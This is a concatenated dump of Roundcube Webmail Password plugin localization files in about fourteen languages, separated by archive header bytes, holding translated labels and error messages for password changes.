$messages['firstloginchange'] = 'ئەمە یەکەم چوونەژوورەوەتە. تکایە تێپەڕەوشەکەت بگۆڕە.';
PKh�\]��t��'plugins/password/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Aldatu pasahitza';
$labels['curpasswd']  = 'Oraingo pasahitza:';
$labels['newpasswd']  = 'Pasahitz berria:';
$labels['confpasswd']  = 'Baieztatu pasahitz berria:';
$messages['nopassword'] = 'Sartu pasahitz berria.';
$messages['nocurpassword'] = 'Sartu oraingo pasahitza.';
$messages['passwordincorrect'] = 'Oraingo pasahitza ez da zuzena.';
$messages['passwordinconsistency'] = 'Pasahitz berria ez datoz bat, saiatu berriz.';
$messages['crypterror'] = 'Ezin izan da pasahitz berria gorde. Ez da zifratze funtziorik aurkitu.';
$messages['connecterror'] = 'Ezin izan da pasahitz berria gorde. Konexio arazoak egon dira.';
$messages['internalerror'] = 'Ezin izan da pasahitz berria gorde.';
$messages['passwordshort'] = 'Gutxienez $length karakteretakoa izan behar du pasahitzak.';
$messages['passwordweak'] = 'Gutxienez zenbaki bat eta puntuazio karaktere bat izan behar du pasahitzak.';
$messages['passwordtooweak'] = 'Pasahitz ahulegia';
$messages['passwordnoseq'] = 'Pasahitza ez luke horrelako sekuentzia izan behar: 123456 edo QWERTY';
$messages['passwordnocommon'] = 'Pasahitza ez luke hitz arrunta edo izen bat izan behar.';
$messages['passwordforbidden'] = 'Galarazitako karaktereak daude pasahitzean.';
$messages['firstloginchange'] = 'Zure lehenengo sarrera da. Pasahitza aldatu mesedez.';
$messages['disablednotice'] = 'Sistema mantentze lanetan dago eta oraintxe bertan ezin da pasahitzik aldatu. Laster denak bere onera itzuli beharko luke. Barkatu eragozpenenak.';
$messages['passwinhistory'] = 'Pasahitz hori aurretik erabili izan da.';
$messages['samepasswd'] = 'Pasahitz berria ezin da izan aurrekoaren berdina.';
$messages['passwdexpirewarning'] = 'Kontuz! Zure pasahitza laster iraungiko da, aldatu $expirationdatetime baino lehen.';
$messages['passwdexpired'] = 'Zure pasahitza iraungi da, aldatu behar duzu orain!';
$messages['passwdconstraintviolation'] = 'Pasahitzen murriztapen-bortxaketa. Seguru aski ahulegia da.';
$messages['pwned_mustnotbedisclosed'] = 'Pasahitza ez da <a href="$href" target="_blank">ezaguna</a> izan behar.';
$messages['pwned_isdisclosed'] = 'Pasahitz hori ezaguna da.';
$messages['pwned_fetcherror'] = 'Pasahitzaren sendotasunaren probak huts egin du.';
PKh�\i���'plugins/password/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Parola değiştirme';
$labels['curpasswd']  = 'Geçerli parola:';
$labels['newpasswd']  = 'Yeni parola:';
$labels['confpasswd']  = 'Yeni parola onayı:';
$messages['nopassword'] = 'Yeni parolayı yazın.';
$messages['nocurpassword'] = 'Geçerli parolayı yazın.';
$messages['passwordincorrect'] = 'Geçerli parolayı yanlış yazdınız.';
$messages['passwordinconsistency'] = 'Parola ile onayı aynı değil. Lütfen yeniden deneyin.';
$messages['crypterror'] = 'Yeni parola kaydedilemedi. Şifreleme işlevi bulunamadı.';
$messages['connecterror'] = 'Yeni parola kaydedilemedi. Bağlantı sorunu.';
$messages['internalerror'] = 'Yeni parola kaydedilemedi.';
$messages['passwordshort'] = 'Parola en az $length karakterden oluşmalı.';
$messages['passwordweak'] = 'Parola en az bir sayı ve bir noktalama işareti içermeli.';
$messages['passwordtooweak'] = 'Parola çok kolay.';
$messages['passwordnoseq'] = 'Parola 123456 ya da QWERTY gibi sıralamalardan oluşmamalıdır.';
$messages['passwordnocommon'] = 'Parola iyi bilinen bir sözcük ya da ad olmamalıdır.';
$messages['passwordforbidden'] = 'Parolada izin verilmeyen karakterler var.';
$messages['firstloginchange'] = 'İlk kez oturum açıyorsunuz. Parolanızı değiştirin.';
$messages['disablednotice'] = 'Sistem bakımda olduğundan parola değiştirilemez. Lütfen daha sonra yeniden deneyin. Verdiğimiz rahatsızlıktan dolayı özür dileriz.';
$messages['passwinhistory'] = 'Bu parola daha önce kullanılmış.';
$messages['samepasswd'] = 'Yeni parola eski paroladan farklı olmalıdır.';
$messages['passwdexpirewarning'] = 'Uyarı! Parolanızın kullanma süresi yakında dolacak. $expirationdatetime tarihinden önce değiştirin.';
$messages['passwdexpired'] = 'Parolanızın kullanma süresi dolmuş. Şimdi değiştirmelisiniz!';
$messages['passwdconstraintviolation'] = 'Parola istenilen karmaşıklıkta değil. Büyük olasılıkla oldukça kolay.';
$messages['pwned_mustnotbedisclosed'] = 'Parola <a href="$href" target="_blank">yaygın kullanılmıyor olmalı</a>.';
$messages['pwned_isdisclosed'] = 'Bu parola yaygın olarak kullanılıyor.';
$messages['pwned_fetcherror'] = 'Parola zorluğu denetlenemedi.';
PKh�\"��v��'plugins/password/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Cambiar contraseña';
$labels['curpasswd']  = 'Contraseña actual:';
$labels['newpasswd']  = 'Nueva contraseña:';
$labels['confpasswd']  = 'Confirmar contraseña:';
$messages['nopassword'] = 'Por favor ingresá una nueva contraseña.';
$messages['nocurpassword'] = 'Por favor ingresá la contraseña actual.';
$messages['passwordincorrect'] = 'Contraseña actual incorrecta.';
$messages['passwordinconsistency'] = 'Las contraseñas no coinciden, por favor intentalo de nuevo.';
$messages['crypterror'] = 'No se pudo guardar la contraseña nueva. Falta la función de cifrado.';
$messages['connecterror'] = 'No se pudo guardar la contraseña nueva. Error de conexión';
$messages['internalerror'] = 'No se pudo guardar la contraseña nueva.';
$messages['passwordshort'] = 'Tu contraseña debe tener una longitud mínima de $length.';
$messages['passwordweak'] = 'Tu nueva contraseña debe incluir al menos un número y un signo de puntuación.';
$messages['passwordtooweak'] = 'La contraseña es demasiado débil.';
$messages['passwordnoseq'] = 'La contraseña no debe ser una secuencia como 123456 o QWERTY.';
$messages['passwordnocommon'] = 'La contraseña no debe ser ni una palabra común ni un nombre.';
$messages['passwordforbidden'] = 'La contraseña contiene caracteres no válidos.';
$messages['firstloginchange'] = 'Este es tu primer inicio de sesión. Por favor, cambia tu contraseña.';
$messages['disablednotice'] = 'Actualmente el sistema se encuentra en mantenimiento y el cambio de contraseña no es posible en este momento. Todo debería volver a la normalidad pronto. Te pedimos disculpas por el inconveniente.';
$messages['passwinhistory'] = 'La contraseña ya ha sido usada con anterioridad.';
$messages['samepasswd'] = 'La nueva contraseña debe ser diferente de la anterior.';
$messages['passwdexpirewarning'] = '¡Advertencia! Tu contraseña vencerá pronto, cambiala antes del $expirationdatetime.';
$messages['passwdexpired'] = 'Tu contraseña expiró. ¡Tenés que cambiarla ahora!';
$messages['passwdconstraintviolation'] = 'Violación de restricción de contraseña. Probablemente tu contraseña es demasiado débil.';
$messages['pwned_mustnotbedisclosed'] = 'La constraseña no debe ser <a href="$href" target="_blank">comúnmente conocida</a>.';
$messages['pwned_isdisclosed'] = 'La contraseña es comúnmente conocida.';
$messages['pwned_fetcherror'] = 'No se pudo verificar la seguridad de la contraseña.';
PKh�\%�1*$plugins/password/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Şîfreyê biguherîne';
$labels['curpasswd']  = 'Şîfreya niha:';
$labels['newpasswd']  = 'Şîfreya nû:';
$labels['confpasswd']  = 'Şîfreya nû bipejirîne:';
$messages['nopassword'] = 'Şîfreya nû binivîse.';
$messages['nocurpassword'] = 'Şîfreya niha binivîse.';
$messages['passwordincorrect'] = 'Şîfreya niha xelet e.';
$messages['passwordinconsistency'] = 'Şîfre hevdu nagirin, dîsa biceribîne.';
$messages['crypterror'] = 'Şîfreya nû nehat tomarkirin. Fonksiyona şîfrekirinê hat jibîrkirin.';
$messages['connecterror'] = 'Şîfreya nû nehat tomarkirin. Çewtiya girêdanê.';
$messages['internalerror'] = 'Şîfre nehat tomarkirin.';
$messages['passwordshort'] = 'Divê şîfre ji $length karakteran kêmtir nebe.';
$messages['passwordweak'] = 'Divê di şîfreyê de herî kêm hejmarek û karakterekî xalbendiyê hebe.';
$messages['passwordtooweak'] = 'Şîfre pir hêsan e.';
$messages['passwordnoseq'] = 'Divê şîfre ne rêzek mîna 123456 an QWERTY be.';
$messages['passwordnocommon'] = 'Divê şîfre ne peyvek an navek hevpar be.';
$messages['passwordforbidden'] = 'Şîfre karakterên qedexe dihewîne.';
$messages['firstloginchange'] = 'Ev têketina te ya yekemîn e. Ji kerema xwe şîfreya xwe biguherîne.';
PKh�\����'plugins/password/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Alterar a senha';
$labels['curpasswd']  = 'Senha atual:';
$labels['newpasswd']  = 'Nova senha:';
$labels['confpasswd']  = 'Confirmar nova senha:';
$messages['nopassword'] = 'Por favor, informe a nova senha.';
$messages['nocurpassword'] = 'Por favor, informe a senha atual.';
$messages['passwordincorrect'] = 'Senha atual incorreta.';
$messages['passwordinconsistency'] = 'Senhas não combinam, por favor tente novamente.';
$messages['crypterror'] = 'Não foi possível gravar a nova senha. Função de criptografia ausente.';
$messages['connecterror'] = 'Não foi possível gravar a nova senha. Erro de conexão.';
$messages['internalerror'] = 'Não foi possível gravar a nova senha.';
$messages['passwordshort'] = 'A senha precisa ter ao menos $length caracteres.';
$messages['passwordweak'] = 'A senha precisa conter ao menos um número e um caractere de pontuação.';
$messages['passwordtooweak'] = 'Senha fraca demais.';
$messages['passwordnoseq'] = 'Senha não deve ser uma sequência como 123456 ou QWERTY.';
$messages['passwordnocommon'] = 'Senha não deve ser uma palavra comum ou nome.';
$messages['passwordforbidden'] = 'A senha contém caracteres proibidos.';
$messages['firstloginchange'] = 'Este é o seu primeiro acesso. Por favor altere sua senha.';
$messages['disablednotice'] = 'O sistema está em manutenção e a senha não pode ser alterada no momento. Tudo voltará ao normal em breve. Pedimos desculpas pelo inconveniente.';
$messages['passwinhistory'] = 'Esta senha já foi usada antes.';
$messages['samepasswd'] = 'A nova senha deve ser diferente da antiga.';
$messages['passwdexpirewarning'] = 'Atenção! Sua senha vai expirar em breve, altere ela antes de $expirationdatetime.';
$messages['passwdexpired'] = 'Sua senha expirou, você precisa alterá-la agora!';
$messages['passwdconstraintviolation'] = 'Restrição de senha violada. Senha provavelmente muito fraca.';
$messages['pwned_mustnotbedisclosed'] = 'A senha não deve ser <a href="$href" target="_blank">vulgarmente conhecida</a>.';
$messages['pwned_isdisclosed'] = 'Esta senha é vulgarmente conhecida.';
$messages['pwned_fetcherror'] = 'Falha ao verificar a força da senha.';
PKh�\�xG��'plugins/password/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Mainīt paroli';
$labels['curpasswd']  = 'Pašreizējā parole:';
$labels['newpasswd']  = 'Jaunā parole:';
$labels['confpasswd']  = 'Apstiprināt jauno paroli:';
$messages['nopassword'] = 'Lūdzu ievadiet jauno paroli.';
$messages['nocurpassword'] = 'Lūdzu ievadiet pašreizējo paroli.';
$messages['passwordincorrect'] = 'Pašreizējā parole nav pareiza.';
$messages['passwordinconsistency'] = 'Paroles nesakrīt. Lūdzu, ievadiet vēlreiz.';
$messages['crypterror'] = 'Nevarēja saglabāt jauno paroli. Trūkst kriptēšanas funkcijas.';
$messages['connecterror'] = 'Nevarēja saglabāt jauno paroli. Savienojuma kļūda.';
$messages['internalerror'] = 'Nevarēja saglabāt jauno paroli.';
$messages['passwordshort'] = 'Jaunajai parolei jābūt vismaz $length simbolu garai.';
$messages['passwordweak'] = 'Jaunajai parolei jāsatur vismaz viens cipars un speciālais simbols.';
$messages['passwordtooweak'] = 'Parole ir pārāk nedroša.';
$messages['passwordnoseq'] = 'Parolei nevajadzētu būt vienkāršai secībai kā, piemēram, 123456 vai QWERTY.';
$messages['passwordnocommon'] = 'Parolei nevajadzētu būt parastam vārdam vai nosaukumam.';
$messages['passwordforbidden'] = 'Parole satur neatļautus simbolus.';
$messages['firstloginchange'] = 'Jūs autorizējaties pirmo reizi. Lūdzu nomainite savu paroli.';
$messages['disablednotice'] = 'Sistēma uz doto brīdi atrodas apkopes režīmā un paroles maiņa nav iespējama. Lūdzu mēginiet vēlāk. Atvainojamies par sagādātajām neērtībām.';
$messages['passwinhistory'] = 'Šī parole agrāk jau ir tikusi izmantota.';
$messages['samepasswd'] = 'Jaunā parole nedrīkst būt tāda pati kā vecā.';
$messages['passwdexpirewarning'] = 'UZMANĪBU! Jūsu parolei drīz beigsies derīguma termiņš, lūdzu nomainiet to pirms $expirationdatetime.';
$messages['passwdexpired'] = 'Jūsu parolei ir beidzies derīguma termiņš un Jums tā tagad ir jānomaina.';
$messages['passwdconstraintviolation'] = 'Paroles veidošanas nosacījumu pārkāpums. Parole, iespējams, pārāk nedroša.';
$messages['pwned_isdisclosed'] = 'Šī ir vispārzināma parole.';
$messages['pwned_fetcherror'] = 'Neizdevās pārbaudīt paroles drošumu.';
PKh�\����'plugins/password/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Zmeniť heslo';
$labels['curpasswd']  = 'Aktuálne heslo:';
$labels['newpasswd']  = 'Nové heslo:';
$labels['confpasswd']  = 'Potvrďte nové heslo:';
$messages['nopassword'] = 'Prosím zadajte nové heslo.';
$messages['nocurpassword'] = 'Prosím zadajte aktuálne heslo.';
$messages['passwordincorrect'] = 'Aktuálne heslo je nesprávne.';
$messages['passwordinconsistency'] = 'Heslá nie sú rovnaké, skúste to znova.';
$messages['crypterror'] = 'Nové heslo nemožno uložiť. Chýba šifrovacia funkcia.';
$messages['connecterror'] = 'Nové heslo nemožno uložiť. Chyba spojenia.';
$messages['internalerror'] = 'Nové heslo nemožno uložiť.';
$messages['passwordshort'] = 'Heslo musí mať najmenej $length znakov.';
$messages['passwordweak'] = 'Heslo musí obsahovať aspoň jedno číslo a jedno interpunkčné znamienko.';
$messages['passwordtooweak'] = 'Heslo je príliš slabé.';
$messages['passwordnoseq'] = 'Heslo by nemalo byť takou sekvenciou, ako napr. 123456 alebo QWERTY.';
$messages['passwordnocommon'] = 'Bežné slovo alebo meno by nemalo byť heslom.';
$messages['passwordforbidden'] = 'Heslo obsahuje nepovolené znaky.';
$messages['firstloginchange'] = 'Prihlásili ste sa po prvýkrát. Prosím zmeňte si prístupové heslo.';
$messages['disablednotice'] = 'V systéme momentálne prebieha údržba a preto nie je teraz možné zmeniť heslo. Čoskoro by sa však situácia mala vrátiť do normálu. Ospravedlňujeme sa Vám za spôsobené nepríjemnosti.';
$messages['passwinhistory'] = 'Toto heslo už bolo predtým použité.';
$messages['samepasswd'] = 'Nové heslo by sa malo odlišovať od pôvodného hesla.';
$messages['passwdexpirewarning'] = 'Pozor! Platnosť Vášho hesla čoskoro vyprší, zmeňte ho pred $expirationdatetime.';
$messages['passwdexpired'] = 'Platnosť Vášho hesla vypršala, teraz ho musíte zmeniť!';
$messages['passwdconstraintviolation'] = 'Výnimka obmedzenia hesla. Heslo je pravdepodobne príliš ľahké.';
$messages['pwned_mustnotbedisclosed'] = 'Heslo nesmie byť <a href="$href" target="_blank">všeobecne a bežne známe</a>.';
$messages['pwned_isdisclosed'] = 'Toto heslo je všeobecne známe.';
$messages['pwned_fetcherror'] = 'Nepodarilo sa overiť silu hesla.';
PKh�\N����'plugins/password/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Změna hesla';
$labels['curpasswd']  = 'Aktuální heslo:';
$labels['newpasswd']  = 'Nové heslo:';
$labels['confpasswd']  = 'Nové heslo (pro kontrolu):';
$messages['nopassword'] = 'Prosím zadejte nové heslo.';
$messages['nocurpassword'] = 'Prosím zadejte aktuální heslo.';
$messages['passwordincorrect'] = 'Zadané aktuální heslo není správné.';
$messages['passwordinconsistency'] = 'Zadaná hesla se neshodují. Prosím zkuste to znovu.';
$messages['crypterror'] = 'Heslo se nepodařilo uložit. Chybí šifrovací funkce.';
$messages['connecterror'] = 'Heslo se nepodařilo uložit. Problém s připojením.';
$messages['internalerror'] = 'Heslo se nepodařilo uložit.';
$messages['passwordshort'] = 'Heslo musí mít alespoň $length znaků.';
$messages['passwordweak'] = 'Heslo musí obsahovat alespoň jedno číslo a jedno interpunkční znaménko.';
$messages['passwordtooweak'] = 'Heslo je příliš slabé.';
$messages['passwordnoseq'] = 'Heslo by nemělo být tvořeno posloupností znaků typu 123456 nebo QWERTY. ';
$messages['passwordnocommon'] = 'Heslo by nemělo být tvořeno běžným slovem či jménem.';
$messages['passwordforbidden'] = 'Heslo obsahuje nepovolené znaky.';
$messages['firstloginchange'] = 'Vaše první přihlášení, změňte si prosím heslo.';
$messages['disablednotice'] = 'Z důvodu údržby systému není momentálně možné změnit heslo. Za chvíli by mělo být vše v pořádku, omlouváme se za tuto nepříjemnost.';
$messages['passwinhistory'] = 'Toto heslo již bylo v minulosti použito.';
$messages['samepasswd'] = 'Nové heslo musí být odlišné od předchozího.';
$messages['passwdexpirewarning'] = 'Varování! Vaše heslo bude brzy zneplatněno, změňte ho před $expirationdatetime.';
$messages['passwdexpired'] = 'Vaše heslo bylo zneplatněno, musíte ho nyní změnit!';
$messages['passwdconstraintviolation'] = ' Nesplnění nutných pravidel pro heslo. Heslo je zrejmě příliš slabé.';
$messages['pwned_mustnotbedisclosed'] = 'Heslo nesmí být <a href="$href" target="_blank">běžně užívané</a>.';
$messages['pwned_isdisclosed'] = 'Heslo je běžně užívané.';
$messages['pwned_fetcherror'] = 'Síla hesla se nedá ověřit.';
PKh�\9/K�$plugins/password/localization/ti.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['curpasswd']  = 'ህልው መሕለፊ ቃል:';
$labels['newpasswd']  = 'ሓዱሽ መሕለፊ ቃል:';
$labels['confpasswd']  = 'መረጋገፂ ሓዱሽ መሕለፊ ቃል :';
$messages['nopassword'] = 'ሓዱሽ መሕለፊ ቃል አብዚ ይእቶ::';
$messages['nocurpassword'] = 'ህልው መሕለፊ ቃል ኣብዚ ይእቶ::';
$messages['passwordincorrect'] = 'ህልው መሕለፊ ቃል  ከምኡ ኣይኮነን::';
$messages['passwordinconsistency'] = 'መሕለፍቲ ቃላት ሓድ ኣይኮኑን ::ተውሳኺ ፈተነ የድሊ::';
$messages['crypterror'] = 'መመስጥሪ ፋንክሽን ስለዝሳእነ እቲ መሕለፊ ቃል ኣይተቐመጠን::';
$messages['connecterror'] = 'ናይ ርክብ ጸገም ስለዘሎ እቲ መሕለፊ ቃል ኣይተቐመጠን::';
$messages['internalerror'] = 'እቲ መሕለፊ ቃል ኣይተቐመጠን::';
$messages['passwordshort'] = 'ንውሓት መሕለፊ ቃል $length ፊዳላት ክኾን አለዎ::';
$messages['passwordweak'] = 'መሕለፊ ቃል እንተውሓደ ሓደ ኣሃዝን ሓደ ስርዓተ ነጥብን ከጠቓልል አለዎ::';
$messages['passwordforbidden'] = 'እቲ መሕለፊ ቃል ውጉዳት ፊዳላት አለውዎ::';
PKh�\M�֋'plugins/password/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Wijzig wachtwoord';
$labels['curpasswd']  = 'Huidig wachtwoord:';
$labels['newpasswd']  = 'Nieuw wachtwoord:';
$labels['confpasswd']  = 'Bevestig nieuw wachtwoord:';
$messages['nopassword'] = 'Voeg aub nieuw wachtwoord in.';
$messages['nocurpassword'] = 'Voeg aub huidig wachtwoord in.';
$messages['passwordincorrect'] = 'Huidig wachtwoord incorrect.';
$messages['passwordinconsistency'] = 'Wachtwoorden komen niet overeen, probeer nogmaals.';
$messages['crypterror'] = 'Nieuw wachtwoord niet bewaard. Encryptie-functie ontbreekt.';
$messages['connecterror'] = 'Nieuw wachtwoord niet bewaard. Verbindingsfout.';
$messages['internalerror'] = 'Nieuw wachtwoord niet bewaard.';
$messages['passwordshort'] = 'Wachtwoord moet ten minste $length tekens lang zijn.';
$messages['passwordweak'] = 'Wachtwoord moet ten minste één getal en één leesteken bevatten.';
$messages['passwordforbidden'] = 'Wachtwoord bevat ongeldige tekens.';
$messages['firstloginchange'] = 'Dit is uw eerste login. Gelieve uw wachtwoord te wijzigen.';
$messages['disablednotice'] = 'Het systeem is momenteel in onderhoud en het wijzigen van een wachtwoord is momenteel niet mogelijk. Alles zou binnenkort terug normaal moeten werken. We verontschuldigen ons voor het ongemak.';
PKh�\�IԎoo'plugins/password/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Змінити пароль';
$labels['curpasswd']  = 'Поточний пароль:';
$labels['newpasswd']  = 'Новий пароль:';
$labels['confpasswd']  = 'Підтвердіть новий пароль:';
$messages['nopassword'] = 'Будь ласка, введіть новий пароль.';
$messages['nocurpassword'] = 'Будь ласка, введіть поточний пароль.';
$messages['passwordincorrect'] = 'Поточний пароль неправильний.';
$messages['passwordinconsistency'] = 'Паролі не збігаються, спробуйте ще раз.';
$messages['crypterror'] = 'Не вдалося зберегти новий пароль. Функція шифрування відсутня.';
$messages['connecterror'] = 'Не вдалося зберегти новий пароль. Помилка з\'єднання.';
$messages['internalerror'] = 'Не вдалося зберегти новий пароль.';
$messages['passwordshort'] = 'Пароль повинен бути не менше $length символів.';
$messages['passwordweak'] = 'Пароль повинен містити як мінімум одну цифру і один розділовий знак.';
$messages['passwordforbidden'] = 'Пароль містить заборонені символи.';
$messages['firstloginchange'] = 'Це Ваше перше входження в систему. Змініть, будь ласка, свій пароль.';
$messages['disablednotice'] = 'Система зараз в режимі обслуговування і змінити пароль наразі неможливо. Невдовзі все має вернутися в норму. Просимо вибачення за будь-які незручності.';
$messages['passwinhistory'] = 'Цей пароль вже використовувався раніше.';
$messages['samepasswd'] = 'Новий пароль повинен відрізнятися від старого.';
$messages['passwdexpirewarning'] = 'УВАГА! У вашого пароля закінчується термін, змінити його як омога скоріше до $expirationdatetime.';
$messages['passwdexpired'] = 'Ваш пароль закінчився, ви повинні змінити це зараз!';
PKh�\��UO	O	'plugins/password/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Wachtwurd feroarje';
$labels['curpasswd']  = 'Aktueel wachtwurd:';
$labels['newpasswd']  = 'Nij wachtwurd:';
$labels['confpasswd']  = 'Nij wachtwurd befêstigje:';
$messages['nopassword'] = 'Fier in nij wachtwurd yn.';
$messages['nocurpassword'] = 'Fier aktueel wachtwurd yn:';
$messages['passwordincorrect'] = 'Ferkeard aktueel wachtwurd.';
$messages['passwordinconsistency'] = 'Wachtwurden komme net oerien, besykje it nochris.';
$messages['crypterror'] = 'Koe nij wachtwurd net bewarje. Fersifering funksje ûntbrekt.';
$messages['connecterror'] = 'Koe nij wachtwurd net bewarje. Ferbining flater.';
$messages['internalerror'] = 'Koe nij wachtwurd net bewarje.';
$messages['passwordshort'] = 'Wachtwurd moat op syn minst $length tekens lang.';
$messages['passwordweak'] = 'Wachtwurd moat op syn minst ien nûmer en ien lêstekens karakter befetsje.';
$messages['passwordforbidden'] = 'Wachtwurd befettet ferbeane tekens.';
$messages['firstloginchange'] = 'Dit is jo earste oanmelding. Wizigje asjobleaft jo wachtwurd.';
$messages['disablednotice'] = 'It systeem is op dit stuit ûnder ûnderhâld en wachtwurd feroaring is net mooglik. Alles soe gau werom wêze moatte nei it normale. Sorry foar it ûngemak.';
$messages['passwinhistory'] = 'Dit wachtwurd is al earder brûkt.';
$messages['samepasswd'] = 'Nij wachtwurd moat oars wêze as it âlde.';
$messages['passwdexpirewarning'] = 'Warskôging! Jo wachtwurd sil ynkoarten ferrinne, feroarje it foar $expirationdatetime.';
$messages['passwdexpired'] = 'Jo wachtwurd is ferrûn, jo moatte it no feroarje!';
PKh�\�����'plugins/password/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Password plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-password/
*/

$labels['changepasswd']  = 'Passwort ändern';
$labels['curpasswd']  = 'Aktuelles Passwort';
$labels['newpasswd']  = 'Neues Passwort';
$labels['confpasswd']  = 'Passwort Wiederholung';
$messages['nopassword'] = 'Bitte geben Sie ein neues Passwort ein';
$messages['nocurpassword'] = 'Bitte geben Sie Ihr aktuelles Passwort an';
$messages['passwordincorrect'] = 'Das aktuelle Passwort ist nicht korrekt';
$messages['passwordinconsistency'] = 'Das neue Passwort und dessen Wiederholung stimmen nicht überein';
$messages['crypterror'] = 'Neues Passwort nicht gespeichert: Verschlüsselungsfunktion fehlt';
$messages['connecterror'] = 'Neues Passwort nicht gespeichert: Verbindungsfehler';
$messages['internalerror'] = 'Neues Passwort nicht gespeichert';
$messages['passwordshort'] = 'Passwort muss mindestens $length Zeichen lang sein.';
$messages['passwordweak'] = 'Passwort muss mindestens eine Zahl und ein Sonderzeichen enthalten.';
$messages['passwordtooweak'] = 'Das Passwort ist zu schwach.';
